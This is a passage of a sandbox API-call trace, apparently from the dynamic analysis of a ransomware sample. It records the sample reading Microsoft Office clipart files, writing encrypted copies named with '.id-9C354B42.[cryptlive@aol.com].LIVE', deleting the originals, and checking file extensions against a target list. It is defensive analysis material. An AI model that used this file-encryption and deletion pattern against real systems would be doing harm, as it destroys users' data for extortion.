dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.605] GetLastError () returned 0x0 [0156.605] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0xbe0, lpOverlapped=0x0) returned 1 [0156.634] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xbf0, lpOverlapped=0x0) returned 1 [0156.635] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.635] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.635] SetEndOfFile (hFile=0x3b4) returned 1 [0156.635] CloseHandle (hObject=0x3b4) returned 1 [0156.635] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.635] SetEndOfFile (hFile=0x350) returned 1 [0156.637] CloseHandle (hObject=0x350) returned 1 [0156.638] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.638] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 1 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString=".doc") returned 4 [0156.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString=".docx") returned 5 [0156.639] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.639] lstrlenW (lpString=".pdf") returned 4 [0156.639] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString=".xls") returned 4 [0156.639] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.639] lstrlenW (lpString=".xlsx") returned 5 [0156.639] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.639] lstrlenW (lpString=".ppt") returned 4 [0156.639] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString=".zip") returned 4 [0156.639] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.639] lstrlenW (lpString=".rar") returned 4 [0156.639] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString=".bz2") returned 4 [0156.639] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString=".7z") returned 3 [0156.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString=".dbf") returned 4 [0156.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString=".1cd") returned 4 [0156.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString=".jpg") returned 4 [0156.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.639] lstrlenW (lpString=".doc") returned 4 [0156.639] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString=".docx") returned 5 [0156.640] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0156.640] lstrlenW (lpString=".pdf") returned 4 [0156.640] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString=".xls") returned 4 [0156.640] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.640] lstrlenW (lpString=".xlsx") returned 5 [0156.640] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0156.640] lstrlenW (lpString=".ppt") returned 4 [0156.640] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.640] lstrlenW (lpString=".zip") returned 4 [0156.640] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.640] lstrlenW (lpString=".rar") returned 4 [0156.640] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString=".bz2") returned 4 [0156.640] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString=".7z") returned 3 [0156.640] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.640] lstrlenW (lpString=".dbf") returned 4 [0156.640] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.640] lstrlenW (lpString=".1cd") returned 4 [0156.640] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned 63 [0156.640] lstrlenW (lpString=".jpg") returned 4 [0156.640] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.640] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.640] lstrlenW (lpString="J0107496.WMF") returned 12 [0156.640] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.641] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8864) returned 1 [0156.641] CloseHandle (hObject=0x350) returned 1 [0156.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 0x20 [0156.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.641] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.642] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.642] GetLastError () returned 0x0 [0156.642] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x22a0, lpOverlapped=0x0) returned 1 [0156.668] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x22b0, lpOverlapped=0x0) returned 1 [0156.669] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.669] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.670] SetEndOfFile (hFile=0x3b4) returned 1 [0156.670] CloseHandle (hObject=0x3b4) returned 1 [0156.670] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.670] SetEndOfFile (hFile=0x350) returned 1 [0156.672] CloseHandle (hObject=0x350) returned 1 [0156.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.706] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0156.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString=".doc") returned 4 [0156.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString=".docx") returned 5 [0156.707] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.707] lstrlenW (lpString=".pdf") returned 4 [0156.707] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString=".xls") returned 4 [0156.707] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.707] lstrlenW (lpString=".xlsx") returned 5 [0156.707] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.707] lstrlenW (lpString=".ppt") returned 4 [0156.707] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString=".zip") returned 4 [0156.707] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.707] lstrlenW (lpString=".rar") returned 4 [0156.707] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString=".bz2") returned 4 [0156.707] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString=".7z") returned 3 [0156.707] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString=".dbf") returned 4 [0156.707] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString=".1cd") returned 4 [0156.707] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString=".jpg") returned 4 [0156.707] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.707] lstrlenW (lpString=".doc") returned 4 [0156.707] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString=".docx") returned 5 [0156.708] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0156.708] lstrlenW (lpString=".pdf") returned 4 [0156.708] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString=".xls") returned 4 [0156.708] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.708] lstrlenW (lpString=".xlsx") returned 5 [0156.708] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0156.708] lstrlenW (lpString=".ppt") returned 4 [0156.708] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.708] lstrlenW (lpString=".zip") returned 4 [0156.708] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.708] lstrlenW (lpString=".rar") returned 4 [0156.708] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString=".bz2") returned 4 [0156.708] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString=".7z") returned 3 [0156.708] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.708] lstrlenW (lpString=".dbf") returned 4 [0156.708] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.708] lstrlenW (lpString=".1cd") returned 4 [0156.708] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107496.WMF") returned 63 [0156.708] lstrlenW (lpString=".jpg") returned 4 [0156.708] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.708] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.708] lstrlenW (lpString="J0107502.WMF") returned 12 [0156.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.709] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10836) returned 1 [0156.709] CloseHandle (hObject=0x380) returned 1 [0156.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 0x20 [0156.709] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0156.710] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.710] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.710] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0156.710] GetLastError () returned 0x0 [0156.710] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x2a54, lpOverlapped=0x0) returned 1 [0156.835] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x2a60, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2a60, lpOverlapped=0x0) returned 1 [0156.836] ReadFile (in: hFile=0x380, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0156.836] WriteFile (in: hFile=0x314, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0156.836] SetEndOfFile (hFile=0x314) returned 1 [0156.836] CloseHandle (hObject=0x314) returned 1 [0156.836] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.836] SetEndOfFile (hFile=0x380) returned 1 [0156.839] CloseHandle (hObject=0x380) returned 1 [0156.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0156.846] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107502.wmf")) returned 1 [0156.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.876] lstrlenW (lpString=".doc") returned 4 [0156.876] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.876] lstrlenW (lpString=".docx") returned 5 [0156.876] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.876] lstrlenW (lpString=".pdf") returned 4 [0156.876] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.876] lstrlenW (lpString=".xls") returned 4 [0156.876] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.876] lstrlenW (lpString=".xlsx") returned 5 [0156.876] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.876] lstrlenW (lpString=".ppt") returned 4 [0156.876] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.877] lstrlenW (lpString=".zip") returned 4 [0156.877] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.877] lstrlenW (lpString=".rar") returned 4 [0156.877] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString=".bz2") returned 4 [0156.877] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString=".7z") returned 3 [0156.877] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.877] lstrlenW (lpString=".dbf") returned 4 [0156.877] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.877] lstrlenW (lpString=".1cd") returned 4 [0156.877] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.877] lstrlenW (lpString=".jpg") returned 4 [0156.877] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.877] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.877] lstrlenW (lpString=".doc") returned 4 [0156.877] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString=".docx") returned 5 [0156.877] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0156.877] lstrlenW (lpString=".pdf") returned 4 [0156.877] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0156.877] lstrlenW (lpString=".xls") returned 4 [0156.877] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0156.877] lstrlenW (lpString=".xlsx") returned 5 [0156.877] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0156.877] lstrlenW (lpString=".ppt") returned 4 [0156.878] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.878] lstrlenW (lpString=".zip") returned 4 [0156.878] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0156.878] lstrlenW (lpString=".rar") returned 4 [0156.878] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0156.878] lstrlenW (lpString=".bz2") returned 4 [0156.878] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0156.878] lstrlenW (lpString=".7z") returned 3 [0156.878] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.878] lstrlenW (lpString=".dbf") returned 4 [0156.878] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.878] lstrlenW (lpString=".1cd") returned 4 [0156.878] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0156.878] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107502.WMF") returned 63 [0156.878] lstrlenW (lpString=".jpg") returned 4 [0156.878] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0156.878] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0156.878] lstrlenW (lpString="J0107526.WMF") returned 12 [0156.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.888] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=7948) returned 1 [0156.888] CloseHandle (hObject=0x350) returned 1 [0156.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 0x20 [0156.888] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0156.888] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0156.889] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.889] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0156.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0156.890] GetLastError () returned 0x0 [0156.890] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1f0c, lpOverlapped=0x0) returned 1 [0156.891] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1f10, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1f10, lpOverlapped=0x0) returned 1 [0156.892] ReadFile (in: hFile=0x350, lpBuffer=0x38a0020, 